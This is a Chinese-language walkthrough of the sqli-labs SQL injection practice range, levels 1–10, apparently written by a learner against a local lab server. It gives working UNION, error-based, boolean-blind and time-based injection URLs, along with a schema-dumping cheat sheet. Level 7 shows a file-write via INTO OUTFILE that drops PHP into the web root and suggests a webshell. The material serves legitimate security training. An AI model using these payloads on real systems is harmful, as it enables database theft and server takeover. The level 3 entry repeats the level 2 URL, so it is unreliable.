爆表名
select group_concat(table_name) from information_schema.tables where table_schema='库名'
爆字段名
select group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='库民'
爆内容
select group_concat(列1,列2) from 库名.表名
sql靶场下的数据库challenge 中的一个表的值是随机变的,每次都可能不一样
首先是靶场第一关
我使用的是联合查询,优先级是这样的 联合查询>报错注入>布尔盲注>延时注入
第一关
首先判断闭合符号
1'报错了,我们查看报错信息发现闭合符号是'我们接着使用-- -去让这个信息不报错
然后and order by 判断列数,根据我们的报错信息以及我们的列数回显判断我们的注入语句应该放在哪里
然后就找到了注入的地方
在'1'后面联合查询我们要查询的语句
http://192.168.244.195/hahahamanman/sqli-labs-master/Less-1/?id=1111' union select 1,2,group_concat(schema_name) from information_schema.schemata-- -
第二关
输入闭合符号后去掉外层注释符号发现没有闭合符号,那么直接注入sql语句即可
http://192.168.244.195/hahahamanman/sqli-labs-master/Less-2/?id=111%20union%20select%201,2,database()--%20-
第三关
输入闭合符号后发现是('这样闭合的')
我们闭合成功后注入语句即可
http://192.168.244.195/hahahamanman/sqli-labs-master/Less-2/?id=111%20union%20select%201,2,database()--%20-
第四关
输入闭合符,发现还是有这个报错信息的
http://192.168.244.195/hahahamanman/sqli-labs-master/Less-4/?id=111") union select 1,2,database()-- -
第五关
第五关输入id后发现我们的这个页面没有回显具体的数据,那么我们的操作就不能是联合注入了
我们输入闭合符号发现报错信息还存在,就使用报错注入
http://192.168.244.195/hahahamanman/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='information_schema'),0x7e),1)-- -
如果报错的信息没有完全显示,我们可以使用substr(语句,1,32)来一段一段截取记得语句要加上括号
http://192.168.244.195/hahahamanman/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='information_schema'),0x7e),1)-- -
第六关
还是报错注入,我们输入这个符号"即可完成闭合
http://192.168.244.195/hahahamanman/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -
第七关
首先判断闭合符号,得出我们的闭合符号是'))然后根据order by 来判断我们的这个回显列数是3列
http://192.168.244.195/hahahamanman/sqli-labs-master/Less-7/?id=1%27))%20order%20by%203--%20-
然后根据他的提示,我们可以使用outfile去进行注入
我们注入即可
http://192.168.244.195/hahahamanman/sqli-labs-master/Less-7/?id=1%27))%20union select 1,2,'<?php phpinfo();?>' into outfile 'C://hell.php'--+
使用这条语句,虽然会报错,但是实际会写入我们的c盘一些文件
我们可以去前几关使用@@datadir和@@basedir来看数据路径和数据库路径
最后我们找到正确的路径后运行即可,当然,写入一句话木马然后远程连接也行哦
http://192.168.244.195/hahahamanman/sqli-labs-master/Less-7/?id=1%27))%20union select 1,2,'<?php phpinfo();?>' into outfile 'D://phpstudy_pro//WWW//hahahamanman//sqli-labs-master//Less-7//1.php'--+
第八关
输入我们的单引号之后发现没有报错回显,我们拼接一些正确的语句来查看我们是否能使用sql注入中的布尔盲注
http://192.168.244.195/hahahamanman/sqli-labs-master/Less-8/?id=1'-- -
正确回显了,那么这个闭合符就是单引号
substr在联合我们的sql语句即可
http://192.168.244.195/hahahamanman/sqli-labs-master/Less-8/?id=1' and substr((select database()),1,1)="s"-- -
第九关
发现,这里不论输入什么都是回显我们的"You are in....."
猜测使用的是延时注入,我们这样操作来得到我们的闭合符号是单引号
http://192.168.244.195/hahahamanman/sqli-labs-master/Less-9?id=1' and if(1=1,sleep(5),1)-- -
那么我们吧1=1替换为substr切割sql语句即可
http://192.168.244.195/hahahamanman/sqli-labs-master/Less-9?id=1' and if(substr((select database()),1,1)="s",sleep(5),1)-- -
第十关
和第九关的操作是一样的
先得到我们的闭合符号是双引号